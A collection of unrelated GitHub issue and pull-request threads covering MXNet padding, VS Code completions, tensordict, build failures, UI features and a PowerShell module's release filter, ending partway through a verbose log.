Thanks for your contribution @ChaiBapchya
@mxnet-label-bot[pr-awaiting-review]

Thanks for your contribution @ChaiBapchya
@mxnet-label-bot[pr-awaiting-review]

Thanks for making this contribution. LGTM overall. You may also want to update the operator description in operator/nn/pooling.cc since you added a new type "same"

As discussed with Sina Afrooze and Lin, this is just the first step towards complete solution/fix.
Immediate demand was for Max Pool 1 Dimension to support "same" padding (the way Tensorflow does). Above pull request addresses that.
However, for a complete solution, following things need to be understood
Asymmetric Padding
Feature request is about "Asymmetric padding"
Currently, MXNet supports Symmetric padding
e.g. Input data -> 1,2,3,4 and pad=2
Output data -> 0,0,1,2,3,4,0,0
Why isn't Asymmetric padding supported by CUDnn, MXNet?
Due to misalignment of input-output if padding happens only on one side (left or right alone).
It is called as "Causal Convolution" (only one side pad)
Current work-around
Level of abstraction introduced.
By default, one can use pad parameter while performing Pooling or Convolution which performs symmetric padding. But, if there is a specific use-case for performing asymmetric padding, one has to perform following steps,
Perform independent padding (using pad operator) and then perform Pooling or Convolution as desired.
Future steps
If one has to fully implement asymmetric padding, following changes need to be made

Pooling

Add another parameter such as pad_type (because currently, pooling_conv which allows - 'full', 'valid', 'same' has been misused. Original meaning of pooling_conv was not supposed to take care of "type of padding"

Convolution

Incorporate asymmetric padding for the same

@ChaiBapchya can you create and issue for the future steps, giving the full description as in the above comment

Sure. Thanks for suggesting :)


Unexpected behavior when using AdditionalTextEdits

- VSCode Version: 1.21.0
- OS Version: Windows 10
In our extension, we want to be able to insert text when using Intellisense around the cursor.
For instance, we would like to end up in this situation when triggering Intellisense on a method:
MyProcedureWithVariable(^) where ^ represents the location of the cursor.
We tried to use the main TextEdit in our to add the part before the cursor "MyProcedureWithVariable(" and to use AdditionalTextEdits to add ")". However, whenever we use additional text edits, the behavior in VS Code seems bogus.
Steps to Reproduce:

Create a TextEdit with your new text and with a defined range.
Create an AdditionalTextEdit with some text and a range starting after the one of the main textEdit (considering also the length of the new inserted text)
Trigger Intellisense without writing anything.

Expected: The main text edit is added followed afterwards by the additional one.
Actual: The additionalTextEdit is inserted "under" the main text edit.
A few screenshot of the behaviour:

Trigger Intellisense:

Select the completion item:

After presing Ctrl+Z:

It looks like the AdditionalTextEdit is inserted at the position where intellisense was triggered and then is replaced by the main TextEdit as the undo shows. This order makes sense this the edits are considered as a stack, but the position of the additionalTextEdits seems wrong to me.
Other interesting case:
If I start writing something, for instance I have written M when I trigger intellisense. Then the edit range is not correct anymore, it inserts MyProcedureWithVar after the M instead of replacing it. If I remove the additionalTextEdits from the completion item send to VS Code (and without any other changes), then in the same situation, the M is correctly replaced as expected.

If you want to position the cursor, @qutreson, can't you just use a single TextEdit that inserts MyProcedureWithVariable($1) and let the snippet syntax move the cursor for you?

Can I do it while keeping the right icon displayed in VS Code? I want to keep the method icon for the suggestion, and not to have the snippet one. If I can do it, then yes, it would fix my problem :)

@qutreson Did you try and see? I don't have this problem with my language server.

@rcjsuen, using snippets, actually fixed my problem, thank you :)

Yeah, snippets is the way to go. Using the additional edits on the current position is undefined and most likely results in garbage... Closing as you have a way for this and as there is a dupe

/duplicate


[BugFix] Reference cycle in TensorDict._cast_reduction

Description
Resolve the reference cycle introduced by the function proc_dim.
Motivation and Context
close #1055

[x] I have raised an issue to propose this change (required for new features and bug fixes)

Types of changes
What types of changes does your code introduce? Remove all that do not apply:

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds core functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to change)
[ ] Documentation (update in the documentation)
[ ] Example (update in the folder of examples)

Checklist
Go over all the following points, and put an x in all the boxes that apply.
If you are unsure about any of these, don't hesitate to ask. We are here to help!

[x] I have read the CONTRIBUTION guide (required)
[ ] My change requires a change to the documentation.
[ ] I have updated the tests accordingly (required for a bug fix or a new feature).
[ ] I have updated the documentation accordingly.

Thanks for the feedback, will attend tomorrow the latest
On Wed, Oct 23, 2024, 22:37 Vincent Moens @.***> wrote:

@.**** approved this pull request.
LGTM
Just need to fix the lint, and maybe add comments (or a test?) to avoid
breaking this in the future
—
Reply to this email directly, view it on GitHub
https://github.com/pytorch/tensordict/pull/1056#pullrequestreview-2390499126,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AECMKFLNTLKZAO7IAAHC423Z5ACH5AVCNFSM6AAAAABQPGRRSWVHI2DSMVQWIX3LMV43YUDVNRWFEZLROVSXG5CSMV3GSZLXHMZDGOJQGQ4TSMJSGY
.
You are receiving this because you authored the thread.Message ID:
@.***>

LGTM Just need to fix the lint, and maybe add comments (or a test?) to avoid breaking this in the future

Honestly I don't know how to test for reference cycles efficiently. I would be willing to implement if somebody provides directions.


opNav mode not compiling required support libraries

Describe the bug
When doing a clean configuration of BSK with the opNav flag, the conan program fails to properly compile openCV.
To reproduce

Delete .conan folder
Run python conanfile.py to build dependencies

Expected behavior
The conan dependencies should all build without issue.
Desktop (please complete the following information):

OS: macOS
Version 13.5
Python version  3.11.4

I've fixed this on LASP Basilisk. I will make a PR against community Basilisk with the fix/workaround.


GitHub release failed with status: 403

I have three repos. In two releasing works fine but not in one.
That's what I get:
Run softprops/action-gh-release@v1
  with:
    generate_release_notes: true
    files: target/nfdb*.jar
    token: ***
  env:
    JAVA_HOME: /opt/hostedtoolcache/Java_Temurin-Hotspot_jdk/17.0.3-7/x64
👩🏭 Creating new GitHub release for tag [2](https://github.com/72services/blsnfdb2/runs/7357947705?check_suite_focus=true#step:5:2).[3](https://github.com/72services/blsnfdb2/runs/7357947705?check_suite_focus=true#step:5:3).2...
⚠ GitHub release failed with status: [4](https://github.com/72services/blsnfdb2/runs/7357947705?check_suite_focus=true#step:5:4)03
undefined
retrying... (2 retries remaining)
👩🏭 Creating new GitHub release for tag 2.3.2...
⚠ GitHub release failed with status: 403
undefined
retrying... (1 retries remaining)
👩🏭 Creating new GitHub release for tag 2.3.2...
⚠ GitHub release failed with status: 403
undefined
retrying... (0 retries remaining)
❌ Too many retries. Aborting...
Error: Too many retries.

How can I find out why it get's a 403?

I'm sorry I overlooked: https://github.com/softprops/action-gh-release/issues/236


include singular time dimension?

@aalok-sathe proposes to maintain a singleton time dimension for consistency across datasets

https://github.com/brain-score/language/pull/32#discussion_r950327532

closing due to inactivity, please feel free to reopen


Padding on embedded video?

We're using a Rich Text field and the user embedded a YouTube video into the body. On the frontend we're seeing a padding-bottom of 56% added which is causing a large amount of whitespace on the site.
I believe I can override the template within my project, but I was curious why embeds is adding padding at all? Is there a way to disable this?
Thanks!

Hi @gmeans - this is covered by #1495 (which I'll reopen shortly, as I think it's about time we fixed this properly...)


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/23936

Triggering TagBot for merged registry pull request

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/26336

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.

Triggering TagBot for merged registry pull request
This extra notification is being sent because I expected a tag to exist by now, but it doesn't.
You may want to check your TagBot configuration to ensure that it's running, and if it is, check the logs to make sure that there are no errors.


feat(generic): more/less text column template

This pull request introduces a new MoreLessColumn feature to handle long text fields in tables, providing a preview with a "Show more" link that expands to reveal the full text. The changes span across CSS, template, and Python files to implement this functionality.
New MoreLessColumn:

CSS for MoreLessColumn:

Added styles in apis_core/generic/static/css/more-less-column.css to handle the appearance and behavior of the "Show more" and "Show less" links.

Template for MoreLessColumn:

Created a new template apis_core/generic/templates/columns/more-less.html to render the preview and full text within a <details> element.

Python class for MoreLessColumn:

Added MoreLessColumn class in apis_core/generic/tables.py to use the new template and CSS for rendering long text fields with expandable previews.

Usage example:

Updated sample_project/tables.py to include an example of how to use the MoreLessColumn in a PersonTable.

Closes #944

Not a reviewer, but if we do use separate static files for functionality, I think their names shouldn't be too generic. E.g. "preview" alone is rather nondescript, sth. like "preview-column" or "table-preview" or similar (off of the descriptions; haven't looked at the thing yet) would be more specific.

I adapted the commit message a bit to make it more verbose
I leave it open for now to give others the chance to test it, but will merge before the next release

@gythaogg I'm removing myself as reviewer because I've run out of hours to test this – already anticipated this, reason why I didn't volunteer, sry!
The only other stylistic feedback I have is that I'd a) change comment blocks to start with lower case letters for consistency & because new words can seamlessly be added to the front. And b) Docstrings needn't be as curt and can be more structured, so would break that into two proper sentences with full stops at the end and put the UI labelling/wording mentioned ("Show more"...) in quotation marks for easier parsing.


Unable to view last page from first page

Unable to view last page from first page if the viewpager is not scrolled even once. if the view pager is scrolled once then we are able to view the last page. also can be seen the sample.

I will fix it as soon as possible.

@waylife hey any update?

@varunrramani fix


Fix typo 'puth' instead of 'put'

Extract patches from images and put them in the "depth" output dimension.

Can one of the admins verify this patch?

I updated my original pull request: #2724


[Do not merge] App MSI CLI commands

My Draft PR to see the diff

This checklist is used to make sure that common guidelines for a pull request are followed.

For new extensions:

[ ] My extension description/summary conforms to the Extension Summary Guidelines.

About Extension Publish
There is a pipeline to automatically build, upload and publish extension wheels.
Once your PR is merged into master branch, a new PR will be created to update src/index.json automatically.
The precondition is to put your code inside this repo and upgrade the version in the PR but do not modify src/index.json.

Close PR


Location cache

Codecov Report

Merging #263 (a1a83cb) into main (c7bebf9) will decrease coverage by 0.24%.
The diff coverage is 91.17%.

@@            Coverage Diff             @@
##             main     #263      +/-   ##
==========================================
- Coverage   92.30%   92.05%   -0.25%
==========================================
  Files          10       10
  Lines         845      869      +24
==========================================
+ Hits          780      800      +20
- Misses         65       69       +4

Impacted Files
Coverage Δ

weather_command/_builder.py
98.92% <91.17%> (-1.08%)
:arrow_down:

weather_command/_location.py
98.21% <0.00%> (-1.79%)
:arrow_down:

Help us with your feedback. Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Connect gift card list to api

I want to merge this change because it connects gift card list to api and adds working pagination

PR intended to be tested with API branch:
Screenshots

Pull Request Checklist

[ ] This code contains UI changes
[ ] All visible strings are translated with proper context including data-formatting
[ ] Attributes [data-test-id] are added for new elements
[ ] Changes are mentioned in the changelog
[ ] The changes are tested in different browsers and in light/dark mode

Test environment config

API_URI=https://master.staging.saleor.cloud/graphql/

Task linked: SALEOR-3912 Add Gift Card update view header, basic details & metadata fields


Show CGroups version of NodePools in the web UI

Is your feature request related to a problem? Please describe.
Customer would like an easy way to discover which CGroups version a nodepool is using (v1 or v2) as it could affect their workloads.
Describe the solution you'd like
In the nodepool list view, have a label or a way to identify cgroups version.
Describe alternatives you've considered
Coloring nodepools depending on version.
Additional context
Public documentation of the feature

Does this show the right lookup logic?
graph TD
    A[cgroup version] --> B
    B{Flatcar version}
    B -->|below 3033.2.0| D[v1]
    B -->|3033.2.0 or newer| E
    E{Node pool annotation<br/>node.giantswarm.io/cgroupv1}
    E -->|present| D
    E -->|not present| F[v2]

Yes, that is correct

Discussed today in the SIG product sync.

This could also help us nudge customers to bring node pools to cgroups v2.
Only customers using the web UI with the Management API / SSO will benefit from this.

We had a chat today in refinement and the notes are:

The "how to find" the CGroups version is explained in the diagram above.
Marian will provides a mock up for the UI

UI spec

The cgroups column should appear to the right of AVAILABILITY ZONES
The table column header should be CGROUPS
For cgroups v1, the field content should be the fa-warning icon and the label v1. On mouse-over, the following text should be displayed in a tooltip:

This node pool uses the deprecated control groups version 1.

For cgroups v1, the field content should be the label v2.

A mock-up should not be needed.

Will be announced on Friday, can be specifically mentioned to adidas who requested it (even if they can't use it without SSO).


Add support for GOG games

Add a page in the web interface for managing GOG games. It can prompt a login and send to wyvern(https://aur.archlinux.org/packages/wyvern) and list which games are installable. After installation, it can add a shortcuts entry.

Sorry if this is out of line, but I just found out about his project.  What about GOG support via Minigalaxy (https://github.com/sharkwouter/minigalaxy)?  It looks like sharkwouter owns that project and is a contributor for this one too.

I would still think wyvern would be more useful than minigalaxy for this project.
It seems minigalaxy is a GUI management tool and am not sure if it can be used as CLI tool. Gamer OS focuses on steam big picture UI as the launcher and the steam-buddy web tool here to add games outside of steam. Wyvern can work in the background without a GUI and can delta update games similar to GOG Galaxy, something minigalaxy doesn't support.

GOG support added in GamerOS 22.

GOG support added in GamerOS 22.


[Bug]: The github repository filter doesn't catch .msixbundle

What happened?
.msixbundle is a valid package format, but your filter excludes is from results.
This is easy to see with the powershell results as the verbose output shows the msixbundle, but the normal output doesn't.
Apologies for not giving a pull request!
Version
2312.878
What PowerShell edition/s are you running Evergreen on?
PowerShell Core, Windows PowerShell
Which operating system/s are you running Evergreen on?
Windows 10+
Have you reviewed the documentation?

[X] Troubleshooting at: https://stealthpuppy.com/evergreen/troubleshoot/
[X] Known issues at: https://stealthpuppy.com/evergreen/issues/

Verbose output
VERBOSE: Function path: C:\Program Files\WindowsPowerShell\Modules\Evergreen\2312.878\Apps\Get-MicrosoftPowerShell.ps1
VERBOSE: Function exists: C:\Program
Files\WindowsPowerShell\Modules\Evergreen\2312.878\Apps\Get-MicrosoftPowerShell.ps1.
VERBOSE: Dot sourcing: C:\Program Files\WindowsPowerShell\Modules\Evergreen\2312.878\Apps\Get-MicrosoftPowerShell.ps1.
VERBOSE: Get-FunctionResource: read application resource strings from [C:\Program
Files\WindowsPowerShell\Modules\Evergreen\2312.878\Manifests\MicrosoftPowerShell.json]
VERBOSE: Calling: Get-MicrosoftPowerShell.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: UseBasicParsing: True.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: MaximumRedirection: 2.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: DisableKeepAlive: True.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: UserAgent: Mozilla/5.0 (Windows NT; Windows NT 10.0;
en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.500.0 Safari/534.6.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: Method: Default.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: Uri:
https://raw.githubusercontent.com/PowerShell/PowerShell/master/tools/metadata.json.
VERBOSE: Invoke-EvergreenRestMethod: Invoke-RestMethod parameter: ContentType: application/json; charset=utf-8.
VERBOSE: GET with 0-byte payload
VERBOSE: received 337-byte response of content type text/plain; charset=utf-8
VERBOSE: Get-MicrosoftPowerShell: Query release for tag: .
VERBOSE: Get-GitHubRateLimit: Checking for how many requests to the GitHub API we have left.
VERBOSE: GET with 0-byte payload
VERBOSE: received 465-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRateLimit: We have 57 requests left to the GitHub API in this window.
VERBOSE: Get-GitHubRateLimit: Rate limit window resets at: 2/5/2024 5:10 PM.
VERBOSE: Get-GitHubRepoRelease: Set TLS to Tls12.
VERBOSE: Get-GitHubRepoRelease: Get GitHub release from:
https://api.github.com/repos/PowerShell/PowerShell/releases/tags/v7.4.1.
VERBOSE: GET with 0-byte payload
VERBOSE: received -1-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRepoRelease: Validating GitHub release object.
VERBOSE: Get-GitHubRepoRelease: Validated successfully.
VERBOSE: Get-GitHubRepoRelease: Found  release/s.
VERBOSE: Get-GitHubRepoRelease: Found 29 asset/s.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Skip: https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-musl-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-musl-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-fxdependent.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-musl-noopt-fxdependent.tar
.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64-musl-noopt-fxdependent.tar
.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-linux-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-arm64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-7.4.1-osx-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-arm64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependent.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-fxdependentWinDesktop.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.4.1.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.4.1.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T22:40:08Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T22:40:08Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x64.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Building Windows release output object with:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi.
VERBOSE: Get-GitHubRepoRelease: Matching version number against: v7.4.1.
VERBOSE: Get-GitHubRepoRelease: Found version number: 7.4.1.
VERBOSE: Get-InstallerType: Installer type not found in
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.msi, defaulting to
'Default'.
VERBOSE: ConvertTo-DateTime: Converting: [2024-01-11T22:40:08Z].
VERBOSE: ConvertTo-DateTime: Attempting to convert date format to: en-US.
VERBOSE: ConvertTo-DateTime: Failed to convert to short date.
VERBOSE: ConvertTo-DateTime: Returning date: [2024-01-11T22:40:08Z].
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win-x86.zip.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win.msixbundle.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/PowerShell-7.4.1-win.msixbundle.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-arm64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts-7.4.1-osx-x64.pkg.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell-lts_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.4.1/powershell_7.4.1-1.deb_amd64.deb.
VERBOSE: Get-MicrosoftPowerShell: Query release for tag: v7.4.1.
VERBOSE: Get-GitHubRateLimit: Checking for how many requests to the GitHub API we have left.
VERBOSE: GET with 0-byte payload
VERBOSE: received 465-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRateLimit: We have 56 requests left to the GitHub API in this window.
VERBOSE: Get-GitHubRateLimit: Rate limit window resets at: 2/5/2024 5:10 PM.
VERBOSE: Get-GitHubRepoRelease: Set TLS to Tls12.
VERBOSE: Get-GitHubRepoRelease: Get GitHub release from:
https://api.github.com/repos/PowerShell/PowerShell/releases/tags/v7.2.18.
VERBOSE: GET with 0-byte payload
VERBOSE: received -1-byte response of content type application/json; charset=utf-8
VERBOSE: Get-GitHubRepoRelease: Validating GitHub release object.
VERBOSE: Get-GitHubRepoRelease: Validated successfully.
VERBOSE: Get-GitHubRepoRelease: Found  release/s.
VERBOSE: Get-GitHubRepoRelease: Found 28 asset/s.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Skip: https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/hashes.sha256.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.cm.aarch64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.cm.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-1.rh.x86_64.rpm.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-alpine-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-alpine-x64.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Skip:
https://github.com/PowerShell/PowerShell/releases/download/v7.2.18/powershell-7.2.18-linux-arm32.tar.gz.
VERBOSE: Get-GitHubRepoRelease: Match \.exe$|\.msi$ to
